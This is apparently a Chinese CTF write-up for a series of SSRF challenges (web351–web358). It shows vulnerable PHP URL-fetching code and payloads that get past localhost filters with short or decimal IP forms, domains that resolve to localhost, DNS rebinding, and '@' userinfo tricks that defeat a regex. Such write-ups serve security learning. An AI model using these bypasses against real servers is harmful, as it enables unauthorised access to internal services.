ssrf
web351
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
|
存在/flag.php
访问提示没有本地权限
payload:
1
| url=http://127.0.0.1/flag.php
|
curl_init — 初始化 cURL 会话
curl_setopt — 设置一个cURL传输选项
curl_exec — 执行 cURL 会话
curl_close — 关闭 cURL 会话
web352
过滤127.0.0,localhost
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
正则匹配没有参数
payload:
1
| url=http://127.0.0.1/flag.php
|
根据parse_url()函数的解析,这题还有各种姿势获得flag:
127.1会被解析成127.0.0.1,也就意味着为零可缺省
1
| url=http://127.1/flag.php
|
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
1
| url=http://127.255.255.254/flag.php
|
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换
1
| url=http://2130706433/flag.php
|
web353
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
这里只能用http和https协议,然后过滤了localhost等环回地址的过滤
可以使用ip地址进制转换绕过
转换十进制
payload:
1
| url=http://2130706433/flag.php
|
web354
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
过滤了0和1,上面的方法都不能用了
搜索指向127.0.0.1的域名,直接拿来用
https://www.maoyingdong.com/domain_to_localhost/
payload:
1
| url=http://localtest.me/flag.php
|
web355
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
|
host 长度小于等于5
payload:
1 2
| url=http://127.1/flag.php url=http://0/flag.php
|
web356
host len小于等于3
payload:
web357
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php **error_reporting**(0); **highlight_file**(**__FILE__**); $url=$_POST['url']; $x=**parse_url**($url); **if**($x['scheme']==='http'||$x['scheme']==='https'){ $ip = **gethostbyname**($x['host']); **echo** '</br>'.$ip.'</br>'; **if**(!**filter_var**($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { **die**('ip!'); }
**echo** **file_get_contents**($_POST['url']); } **else**{ **die**('scheme'); } ?>
|
利用302跳转或者dns重绑定。自己没有服务器的可以在http://ceye.io/这个网站上注册一个账号,然后就会给你分配一个域名。
在这里添加127.0.0.1的ip。 再用分配给你的域名去访问flag.php。
第一个随意写,第二个为127.0.0.1
格式为http://r.xxx/flag.php。
pay;oad:
1
| url=http://r.****/flag.php
|
web358
1 2 3 4 5 6 7 8
| <?php **error_reporting**(0); **highlight_file**(**__FILE__**); $url=$_POST['url']; $x=**parse_url**($url); **if**(**preg_match**('/^http:\/\/ctf\..*show$/i',$url)){ **echo** **file_get_contents**($url); }
|
[正则表达式字符](https://blog.csdn.net/xhmerry/article/details/1550928#:~:text=%3A 匹配前面的内容出现 0 次或 1 次。 %2B %3A,恰巧出现 n 次。 {n%2C} %3A 大于等于 n 次。)
- ^ :匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 ‘/n’ 或 ‘/r’ 之后的位置。
- $ :匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 ‘/n’ 或 ‘/r’ 之前的位置。
- /..* :匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。
所以,正则表达式表明以http://ctf.
开始,以show结尾
payload:
1 2 3
| http://ctf.@127.0.0.1/flag.php?show or http://ctf.@127.0.0.1/flag.php#show
|